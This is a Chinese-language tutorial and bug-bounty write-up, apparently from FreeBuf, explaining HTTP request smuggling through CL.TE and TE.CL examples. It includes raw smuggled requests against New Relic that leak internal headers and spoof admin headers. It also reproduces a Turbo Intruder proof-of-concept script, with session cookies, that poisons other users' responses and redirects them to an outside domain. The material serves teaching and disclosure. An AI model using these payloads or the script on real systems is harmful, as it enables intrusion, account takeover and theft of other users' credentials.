HTTP请求夹带技术(Request Smuggling )是由一个或多个用户同时对目标网站服务器发起大量请求,通过构造特殊结构请求,干扰网站服务器对请求的处理,从而实现攻击目标。这种技术漏洞本质上来说非常危险,攻击者可以利用它来绕过安全控制,获取目标服务器的敏感数据并危及服务器应用的注册用户。本文我们就来探讨请求夹带攻击(漏洞)的具体原理,结合近期的一些测试实例,加深对其了解认识。
请求夹带攻击(漏洞)的前世今生
请求夹带最早于2005年就被发现了,但因利用方式和危害影响所限被一直忽视。近期,PortSwigger安全主管James Kettle(@albinowax)通过充分利用请求夹带攻击技术,发现多家知名公司网站存在严重安全风险,James Kettle也将该技术在 Black Hat USA上进行了分享 - HTTP Desync Attacks: Request Smuggling Reborn(HTTP请求非同步攻击:请求夹带漏洞的重生)。
另据James Kettle介绍,PortSwigger只对大约5%的众测网站进行了HTTP请求夹带漏洞测试,就有所收获并获得了$70k的赏金,可见HTTP请求夹带漏洞的存在面还是相当广泛的,有待于大家去挖掘去发现并囊获更多赏金。
请求夹带攻击(漏洞)如何产生
现如今的Web应用通常会在用户和最终应用程序逻辑之间使用大量的HTTP服务器,用以优化分流控制网络流量。客户端用户的请求会经过Front-End前端服务器(有时叫负载平衡器或反向代理),然后转发到一个或多个 Back-End后端服务器,Web应用这种类型的架构越来越常见,尤其是在现今云服务的流行概念下,某些环境中不可避免。
当前端服务器想把HTTP请求转发给后端服务器时,它通常会经由相同的后端网络链路传输发送多个请求,因为种方式的效率和性能更高(如下图所示)。传输协议也非常简单:HTTP请求按序列发送,收到请求的服务器通过解析请求的HTTP头来确定其中某个请求的结束位置,以及下一个请求的开始。
这种情况下,前端和后端服务器就不同序列请求之间的界限达成一致非常重要,否则,攻击者可能会发送一个模糊的请求,问题就在于,这样一来,前端和后端系统由于对该请求的结束界限不清,会对这个模糊的请求执行不同的解析处理,从而产生不同的响应结果,请求夹带漏洞也由此而生。
如下图所示,攻击者在发往前端服务器的请求中,通过请求结构改装构造并发给后端服务器,之后,后端服务器收到该请求后,由于对请求界限模糊不清,遂将其中的部分请求解析为下一个请求的开始部份。这就是一次请求夹带攻击,其可能会造成严重的安全隐患。
请求夹带攻击(漏洞)的具体原因和构造方式
HTTP请求夹带漏洞的原因是由于HTTP规范提供了两种不同方式来指定请求的结束位置,它们是Content-Length标头和Transfer-Encoding标头。Content-Length标头简单明了,它以字节为单位指定消息内容体的长度,如:
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
Transfer-Encoding标头用于指定消息体使用分块编码(Chunked Encode),也就是说消息报文由一个或多个数据块组成,每个数据块大小以字节为单位(十六进制表示) 衡量,后跟换行符,然后是块内容,最重要的是:整个消息体以大小为0的块结束,也就是说解析遇到0数据块就结束。如:
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b
q=smuggling
0
由于HTTP规范提供了以上两种不同方法来指定HTTP消息体的长度,因此单个消息可以同时使用这两种方法,这种情况下,它们就会发生相互冲突。HTTP规范试图通过声明来防止此问题的发生,即:如果Content-Length和Transfer-Encoding标头同时出现在一个请求中,则应忽略Content-Length标头。这种规范在一台服务器接收请求时可以避免出现歧义,但在两台或多台服务器链接收请求时可能会出现问题。原因在于:
1、某些服务器不支持请求中的Transfer-Encoding标头;
2、如果攻击者把标头以某种方式进行模糊构造,则可能会导致某些支持Transfer-Encoding标头的服务器不会处理部份消息内容,而把这些内容当成是下一个请求的起始。
这样一来,前端服务器和后端服务器对模糊构造的Transfer-Encoding标头解析结果不同,相互之间对请求的边界不能形成共识,就会导致请求夹带漏洞的产生。
请求夹带攻击(漏洞)如何执行利用
请求夹带攻击在于需将Content-Length和Transfer-Encoding标头放入单个HTTP请求中,并对其进行操控,让前端和后端服务器以不同方式处理请求,这种攻击取决于前端和后端两台服务器对标头的处理方式:
CL.TE:前端服务器使用Content-Length头,后端服务器使用Transfer-Encoding头;
TE.CL:前端服务器使用Transfer-Encoding标头,后端服务器使用Content-Length标头;
TE.TE:前端和后端服务器都支持采用Transfer-Encoding标头,但可以通过某种方式对标头进行模糊构造,导致其中一台服务器对它实行处理。
CL.TE漏洞
这里前端服务器使用Content-Length标头,后端服务器使用Transfer-Encoding标头,因此我们可以执行简单的HTTP请求夹带攻击,如:
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
SMUGGLED
前端服务器按照Content-Length标头处理并确定请求主体长度为13个字节,直到SMUGGLED结束,并将此请求转发到后端服务器。但后端服务器只支持Transfer-Encoding标头,因此它会将消息体视为分块编码,它按序处理数据块,但第一个块就为0数据块,因此处理终止,后序消息体SMUGGLED不会被执行处理,后端服务器将这些字节视为序列中下一个请求的开始。此时,如果前端服务器继续向后端服务器转发请求,那么后端服务器下一个接收到的请求就会是:SMUGGLED+POST=SMUGGLEDPOST的请求方法,这样,后端服务器会返回响应:Unrecognized method SMUGGLEDPOST(未知的请求方法SMUGGLEDPOST)。
TE.CL漏洞
这里,前端服务器使用Transfer-Encoding标头,后端服务器使用Content-Length标头,因此我们可以执行以下构造的HTTP请求夹带攻击:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
此种情况下,前端服务器支持Transfer-Encoding标头,会将消息体视为分块编码方式,它处理第一个长度为8字节的数据块,内容是SMUGGLED,之后解析处理第二个块,它是0长度,因此解析终止。该请求转发到后端服务器后,由于后端服务器采用Content-Length标头,按照其中请求主体长度的3个字节,解析会执行到8之后的行开头,所以SMUGGLED及以下的内容就不会被处理,后端服务器会将余下内容视为请求序列中下一个请求的起始。
利用请求夹带漏洞获取New Relic系统内部敏感信息
经James Kettle分析,login.newrelic.com上的Web应用是通过Golang 编写的前端代理(Proxy)进行请求转发的,login.newrelic.com的后端服务器为Nginx,经测试发现,login.newrelic.com的前端采用Content-Length标头,而后端Nginx采用Transfer-Encoding标头,也就是前述的CL-TE方式,我们可以来尝试进行请求夹带攻击。
这里,需要明白的是,前端服务器经常会附加或重写如X-Forwarded-Host 或 X-Forwarded-For这样的请求头,难以猜测,有时我们执行的请求夹带攻击可能会漏掉这些头信息,从而造成应用响应异常或攻击失败。但好在,我们可以用一种简单的方法来探测这些请求头,比如手动添加或进行有根据的猜测,这样就能开展进一步的攻击。这里,我们以login.newrelic.com为测试目标。
首先,我们在login.newrelic.com上执行POST请求,如下:
POST / HTTP/1.1
Host: login.newrelic.com
Content-Length: 142
Transfer-Encoding: chunked
Transfer-Encoding: x
0
POST /login HTTP/1.1
Host: login.newrelic.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
…
login[email]=asdf
由于login.newrelic.com的前端服务器采用Content-Length标头,所以在上述请求中,假设:142字节的消息体会在红字部份结束,然后它会被转发给后端Nginx服务器,之后,由于后端Nginx采用Transfer-Encoding标头,所以它会以分块编码处理请求,但一来就遇到了0长度的终止符,所以0长度后续的消息体就成为了下一个请求的开头,当前端继续向后端转发请求时,就会形成以下样子的请求:
POST /login HTTP/1.1
Host: login.newrelic.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
…
login[email]=asdfPOST /login HTTP/1.1
Host: login.newrelic.com
当然,后端服务器遇到该请求后,会做出如下响应,它响应泄露了很多目标应用的相关内部配置头信息:
Please ensure that your email and password are correct.
<input id="email" value="asdfPOST /login HTTP/1.1“
Host: login.newrelic.com
X-Forwarded-For: 81.139.39.150
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
通过以上方式的不断变换请求,我们可以检索出更多目标应用的内部敏感信息。有些系统完全依赖前端来保证安全性,一旦绕过前端就能获取到更多后端目标应用的相关信息。在login.newrelic.com上,前端服务器就是一个代理,所以,通过变换请求夹带的主机头,我们就能探测访问到更多New Relic内部系统。一开始,我碰到的每个内部系统都认为我的请求是通过HTTP协议发送的,并以重定向作为响应,如下:
...
GET / HTTP/1.1
Host: staging-alerts.newrelic.com
HTTP/1.1 301 Moved Permanently
Location: https://staging-alerts.newrelic.com/
之后,加上X-Forwarded-Proto头告诉它我的客户端是HTTPS请求就好了:
...
GET / HTTP/1.1
Host: staging-alerts.newrelic.com
X-Forwarded-Proto: https
HTTP/1.1 404 Not Found
Action Controller: Exception caught
之后,我发现了其中一个有意思的路径- /revision_check:
...
GET /revision_check HTTP/1.1
Host: staging-alerts.newrelic.com
X-Forwarded-Proto: https
HTTP/1.1 200 OK
Not authorized with header:
上述错误响应表示,我需要添加上某种类型的授权头,但其中并没有说明,于是乎我加入了前述响应泄露的X-nr-external-service头(表明请求来自互联网),如下:
...
GET /revision_check HTTP/1.1
Host: staging-alerts.newrelic.com
X-Forwarded-Proto: https
X-nr-external-service: 1
HTTP/1.1 403 Forbidden
Forbidden
哦,是禁止的。也就是说前端转发给后端的请求,其中标明了请求来自互联网,这种外网请求是禁止访问。所以,为了实现请求夹带攻击,我们必须欺骗New Relic后端系统,让它们认为我们的请求来自内部网络。
我可以一个一个的去尝试不同的请求头,但我没有这样做,我查询了之前对New Relic的经典漏洞发现,发现了两个有用的请求头:Server-Gateway-Account-Id 和 Service-Gateway-Is-Newrelic-Admin,利用这两个请求头,我就能构造请求深入测试,获得对内部API接口/internal_api/的完全管理员访问权限,如下:
POST /login HTTP/1.1
Host: login.newrelic.com
Content-Length: 564
Transfer-Encoding: chunked
Transfer-encoding: cow
0
POST /internal_api/934454/session HTTP/1.1
Host: alerts.newrelic.com
X-Forwarded-Proto: https
Service-Gateway-Account-Id: 934454
Service-Gateway-Is-Newrelic-Admin: true
Content-Length: 6
…
x=123GET...
HTTP/1.1 200 OK
{
"user": {
"account_id": 934454,
"is_newrelic_admin": true
},
"current_account_id": 934454
…
}
上报漏洞后,New Relic发布了补丁,经诊断发现原因出在了其部署的F5网关中,但据悉,目前还未有针对F5网关的补丁或修补措施,所以截至发稿前,这仍然算F5是一个0day漏洞。
利用请求夹带漏洞窃取New Relic登录密码(Hackerone#498052)
James Kettle发现,还可以构造请求夹带漏洞窃取login.newrelic.com上的登录密码。原理在于,通过模拟正常用户的访问浏览,并执行非同步的请求发送(Desync Request),这些不同序列的请求可能会对另一访问login.newrelic.com的普通用户实现请求毒化,致使其重定向获得异常响应,跳转到某一攻击者控制的恶意域名,当然也可在其中注入keylogger,从而窃取他人用户的New Relic登录密码。这些攻击过程无需与受害用户进行任何交互即可实现最终攻击效果,存在严重安全隐患。
James Kettle给出了以下PoC验证代码,会使受害者执行一个到域名 https://skeletonscribe.net/ 的重定向跳转:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint='https://staging-login.newrelic.com:443',
concurrentConnections=5,
requestsPerConnection=5,
pipeline=False,
maxRetriesPerRequest=0
)
attack = '''POST /login HTTP/1.1
Host: staging-login.newrelic.com
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/70.0.3508.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Cookie: optimizelyEndUserId=oeu1547215128308r0.023321653201122228; ajs_user_id=null; ajs_group_id=null; ajs_anonymous_id=%22a5f7b9bb-8c8a-4add-ac69-75200d4c46cb%22; TSNGUID=6093d809-7d9d-4d52-bfb9-335de9fb69b8; _ga=GA1.2.1374597116.1547216490; _gid=GA1.2.1093027572.1547216490; _gcl_au=1.1.1026642629.1547216493; _mkto_trk=id:412-MZS-894&token:_mch-newrelic.com-1547216493639-15775; __qca=P0-235566894-1547221374728; intercom-id-cyym0u3i=bd3a0989-6e9f-4e6d-a497-9a41ef6d5290; _fbp=fb.1.1547249472663.621468648; ei_client_id=5c39274682f6eb000fa6d52a; _golden_gate_session=bkRPMUZ3STBrY0laZG0zemY1Umg5cFVhcWpNaGpvZWN2T0tOM3hWL2p2UVdaVTJLZFh5NkJtQnZHV2FIR3hnZWpKaWFvM2F2WkRab3hjWTd5b3A1T2dOY20zWWNQaFhZNWVRZXFuRkFwU3l1YVZMdm1JSW9pSGd0UnRicnRBUVdhaGg3UXJQTFJ0c3ZkMHRyaHZqNjYreCt4dWUwVlp1UTdrSVFpSEx6akVITjRWWGNrSUR5NGdIdG80UnFJS2xpVTNlU1BpK0hjWEZJMVF1R2I4RlNNeUdicVdTWFVDQnBlQ0NQSXdNYXFJM2lDTWc5VldLOTJ3N1A3Wll5RytpZVNya2J1WTdTNUZ5UVFRNk5KVmt2TmNudlU3WDFQMVJPbGtkWXJJWXd1YjA9LS1MeU1EbTkrZ29qVVo2VkNUMDhnMVp3PT0%3D--155cef8a5f5d2bcb69b1d1952af040a3479aeacb; _gat=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 189
Transfer-Encoding: chunked
Transfer-Encoding: foo
3e
return_to=https%3A%2F%2Fstaging-insights-embed.newrelic.com%2F
0
GET / HTTP/1.1
Host: staging-login.newrelic.com:123
X-Forwarded-Host: skeletonscribe.net
Content-Length: 10
x='''
engine.queue(attack)
engine.start()
def handleResponse(req, interesting):
table.add(req)
if req.code == 200:
victim = '''GET /?x= HTTP/1.1
Host: staging-login.newrelic.com
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/70.0.3508.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Cookie: optimizelyEndUserId=oeu1547215128308r0.023321653201122228; ajs_user_id=null; ajs_group_id=null; ajs_anonymous_id=%22a5f7b9bb-8c8a-4add-ac69-75200d4c46cb%22; TSNGUID=6093d809-7d9d-4d52-bfb9-335de9fb69b8; _ga=GA1.2.1374597116.1547216490; _gid=GA1.2.1093027572.1547216490; _gcl_au=1.1.1026642629.1547216493; __qca=P0-235566894-1547221374728; intercom-id-cyym0u3i=bd3a0989-6e9f-4e6d-a497-9a41ef6d5290; _fbp=fb.1.1547249472663.621468648; _gat=1; _mkto_trk=id:697-KKO-240&token:_mch-newrelic.com-1547216493639-15775; _golden_gate_session=dWUvd1NFRVJRN051UUg0K245YWxPZ3NleGdQNFBPbXZLRS84WElQZFdSS3g1d28xNXBTb0RKZXNQeEFLSm4zeE9yeTJia1lxNGRPUWhPZFhXYVY1eGM1emMyTGZvZmVzcHNsby85UEJqbXViK3E4SHNRSVllT0lCSk4zUzdWNW5ic1MzNVNqSStaeW5qblM2dERuUWN5Wml0ZzYwd1BkU256UVpmM1JtdjN6S01taTFLM3VCMGNuWi96NmhPc3JBLS1BRlZ4dis4MTVxZ0NjblZpVlgvVmdRPT0%3D--ab2b42c56157e42752d86deb9e03f18946a4d5c5; ei_client_id=5c3929f2857699000fe7bcc5
'''
for i in range(10):
req.engine.queue(victim)
更多技术请参考PortSwigger介绍并完成其中的实验:https://portswigger.net/web-security/request-smuggling
*参考来源:portswigger、web-security,clouds编译整理,转载请注明来自FreeBuf.COM